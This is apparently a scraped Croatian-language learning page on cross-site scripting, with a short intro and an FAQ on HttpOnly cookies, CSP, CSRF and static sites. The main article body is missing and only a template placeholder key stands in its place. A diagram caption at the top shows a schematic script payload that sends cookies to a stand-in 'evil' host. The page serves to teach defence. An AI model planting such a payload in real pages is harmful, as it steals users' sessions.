trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

Cross-Site Scripting (XSS)

11 min pročitatiSigurnost

Cross-site scripting je ranjivost u kojoj napadač ubacuje JavaScript koji se pokreće u pregledniku drugog korisnika kao da je dio legitimne web stranice. Šteta seže od krađe kolačića sesije do upućivanja API poziva u ime žrtve. XSS je na OWASP Top 10 već dva desetljeća i ne pokazuje znakove odlaska.

Cjeloviti članak nalazi se u nastavku na engleskom jeziku.

pages.learningArticles.cross-site-scripting.bodyHtml

Često postavljana pitanja

Je li XSS još uvijek relevantan?
Da. Nedavna istraživanja OWASP-a pokazuju XSS u gotovo svakoj web aplikaciji. Moderni okviri smanjili su učestalost, ali dugačak rep naslijeđenih aplikacija, prilagođenog koda i rubnih slučajeva čini XSS jednom od web ranjivosti o kojima se najviše prijavljuje. Platforme za dodjelu grešaka vide stotine XSS izvješća tjedno.
Koja je razlika između XSS i CSRF?
XSS ubacuje zlonamjerni kod u pouzdanu stranicu, izvršavajući se s povlasticama stranice. CSRF (Cross-Site Request Forgery) vara žrtvin preglednik da podnese zahtjev pouzdanoj stranici s drugog izvora, koristeći sesiju žrtve. Zvuče slično, ali imaju različite mehanizme i obranu.
Štiti li kolačić HttpOnly od XSS-a?
Djelomično. HttpOnly sprječava JavaScript da čita kolačić putem document.cookie, pobjeđujući napade eksfiltracije kolačića. XSS korisni teret i dalje može postavljati provjerene zahtjeve jer preglednik automatski šalje kolačić — HttpOnly zaustavlja jednu određenu klasu štete, a ne širi napad.
Može li CSP u potpunosti eliminirati XSS?
Strogi CSP (nonce-based, bez 'unsafe-inline' ili 'unsafe-eval') je najbliža stvar srebrnom metku. Ne sprječava samo ubrizgavanje, ali sprječava izvršenje ubrizganog korisnog tereta. U kombinaciji s bježanjem izlaza u aplikaciji, strogi CSP čini praktično iskorištavanje XSS-a vrlo teškim.
Jesu li statične stranice otporne?
Ne posve. XSS temeljen na DOM-u i dalje radi na statičnim web-lokacijama ako njihov JS na strani klijenta nesigurno koristi URL parametre. Čisto HTML stranice bez JavaScripta nemaju XSS. Većina modernih "statičnih stranica" koristi dovoljno JavaScripta da je XSS moguć (iako rijedak) problem.
Objašnjenje Cross-Site Scripting (XSS): Ranjivost unutar svake web aplikacije